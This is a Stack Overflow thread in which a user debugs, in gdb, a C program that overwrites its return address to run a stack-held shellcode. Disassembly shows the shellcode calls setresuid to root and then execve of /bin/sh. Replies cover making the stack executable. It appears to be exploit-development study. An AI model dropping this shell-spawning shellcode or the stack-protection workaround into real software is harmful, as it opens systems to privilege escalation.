-2

I was trying to make my C program execute shellcode. Please look at the following.

root@ninja:~/Desktop/Programs# gdb -q ./a.out
Reading symbols from /root/Desktop/Programs/a.out...done.
(gdb) list 1
1   void function(void) {
2       int *ret;
3       int var;
4       char code[]=
5       "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6       "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7       "\xe1\xcd\x80";
8       ret = &var + 3;
9       (*ret) = (int) code;
10  }
(gdb) 
11  
12  void main() {
13      function();
14  }
(gdb) break 9
Breakpoint 1 at 0x804842a: file exp2.c, line 9.
(gdb) break 10
Breakpoint 2 at 0x8048432: file exp2.c, line 10.
(gdb) run
Starting program: /root/Desktop/Programs/a.out 

Breakpoint 1, function () at exp2.c:9
9       (*ret) = (int) code;
(gdb) x/9xw code
0xbffff4a4: 0xdb31c031  0xb099c931  0x6a80cda4  0x6851580b
0xbffff4b4: 0x68732f2f  0x69622f68  0x51e3896e  0x8953e289
0xbffff4c4: 0x0080cde1
(gdb) x/i *ret
   0x804843c <main+8>:  pop    %ebp
(gdb) c
Continuing.

Breakpoint 2, function () at exp2.c:10
10  }
(gdb) x/i *ret
   0xbffff4a4:  xor    %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4a4:  xor    %eax,%eax
   0xbffff4a6:  xor    %ebx,%ebx
   0xbffff4a8:  xor    %ecx,%ecx
(gdb) nexti

Program received signal SIGSEGV, Segmentation fault.
0xbffff4a4 in ?? ()
(gdb) nexti

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) 

var was used as a point of reference to make ret point to the return address of function(). Then, the return address was changed to the start of code. function() returned to code. However, the program terminated without executing the code. Thanks to @blatinox, I learnt that this was because the stack was non-executable.

I re-compiled the program with -z execstack. The program now could execute the code, but I got another problem:

Starting program: /root/Desktop/Programs/a.out 
Breakpoint 1, function () at exp2.c:9
9       (*ret) = (int)code;
(gdb) x/i *ret
   0x804843c <main+8>:  pop    %ebp
(gdb) c
Continuing.

Breakpoint 2, function () at exp2.c:10
10  }
(gdb) x/i *ret
   0xbffff4a4:  xor    %eax,%eax
(gdb) x/i code
   0xbffff4a4:  xor    %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/17i $eip
=> 0xbffff4a4:  xor    %eax,%eax
   0xbffff4a6:  xor    %ebx,%ebx
   0xbffff4a8:  xor    %ecx,%ecx
   0xbffff4aa:  cltd   
   0xbffff4ab:  mov    $0xa4,%al
   0xbffff4ad:  int    $0x80
   0xbffff4af:  push   $0xb
   0xbffff4b1:  pop    %eax
   0xbffff4b2:  push   %ecx
   0xbffff4b3:  push   $0x68732f2f
   0xbffff4b8:  push   $0x6e69622f
   0xbffff4bd:  mov    %esp,%ebx
   0xbffff4bf:  push   %ecx
   0xbffff4c0:  mov    %esp,%edx
   0xbffff4c2:  push   %ebx
   0xbffff4c3:  mov    %esp,%ecx
   0xbffff4c5:  int    $0x80
(gdb) nexti(14)
0xbffff4c2 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4c2:  push   %ebx
   0xbffff4c3:  mov    %esp,%ecx
   0xbffff4c5:  int    $0x80
(gdb) nexti
0xbffff4c3 in ?? ()
(gdb) x/2i $eip
=> 0xbffff4c3:  mov    %ecx,%esp
   0xbffff4c5:  hlt    
(gdb) nexti
0xbffff4c5 in ?? ()
(gdb) x/i $eip
=> 0xbffff4c5:  hlt    
(gdb) nexti

Program received signal SIGSEGV, Segmentation fault.
0xbffff4c5 in ?? ()
(gdb) 

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) 

0xbffff4c3: mov %esp,%ecx changed to 0xbffff4c3: mov %ecx,%esp, and 0xbffff4c5: int $0x80 changed to 0xbffff4c5: hlt.

Why did the last two lines of the code change while executing?

W. Zhu
  • 755
  • 6
  • 16

1 Answers1

1

Your variable code is on the stack which is probably not executable. Did you change the rights of the stack ?

blatinox
  • 833
  • 6
  • 18
  • How do I change the rights of the stack? Actually, I also tried with global `code` but it did not execute, either. – W. Zhu May 24 '16 at 12:38
  • Note that if that is the case, then the program should get a `SIGSEGV` rather than exit normally. Of course, OP doesn't give any details on how the program terminated, so that could very well be the case. – Dolda2000 May 24 '16 at 12:44
  • @Dolda2000 `Program terminated with signal SIGSEGV, Segmentation fault.` It's in my post. Didn't you read the debug? – W. Zhu May 24 '16 at 12:49
  • Dolda2000: the OP put the output of gdb which shows a SIGSEGV. – blatinox May 24 '16 at 12:49
  • Oh, I didn't notice that the output dump was scrollable. Sorry. – Dolda2000 May 24 '16 at 12:50
  • W.Zhu: I don't know if there is a standard way to set your stack executable. It depends on your OS or your compiler (depending the way you do it). But you can put your code in another segment that the stack which would be executable. – blatinox May 24 '16 at 12:53
  • The brute-force way to make the stack executable would be to call `mprotect` on the page(s) around the stack pointer. – Dolda2000 May 24 '16 at 12:54
  • It has nothing to do with being on the stack, and everything to do with not being actual machine code. What's in the `code` array isn't a sequence of machine code instructions, it's a sequence of *characters* that comprise a *string representation* of those instructions. `code` needs be initialized as `code[] = {0x31, 0xc0, 0x31, ...}`. – John Bode May 24 '16 at 14:43
  • Yes it is a string but using the \x inside the string put hexadecimal values in the array. The difference is the leading '\0' but it is not the problem here. – blatinox May 24 '16 at 15:20
  • @JohnBode: There's no difference between those two ways of initializing a `char` array. You'll also see that OP dumped the instructions and that they are legal, and that the program receives `SIGSEGV` rather than `SIGILL`. – Dolda2000 May 24 '16 at 17:56
  • @Dolda2000 - bah. I should have know that. Never mind. – John Bode May 24 '16 at 18:37
  • I made the stack executable but got another problem. Please look at my edited question. – W. Zhu May 25 '16 at 02:19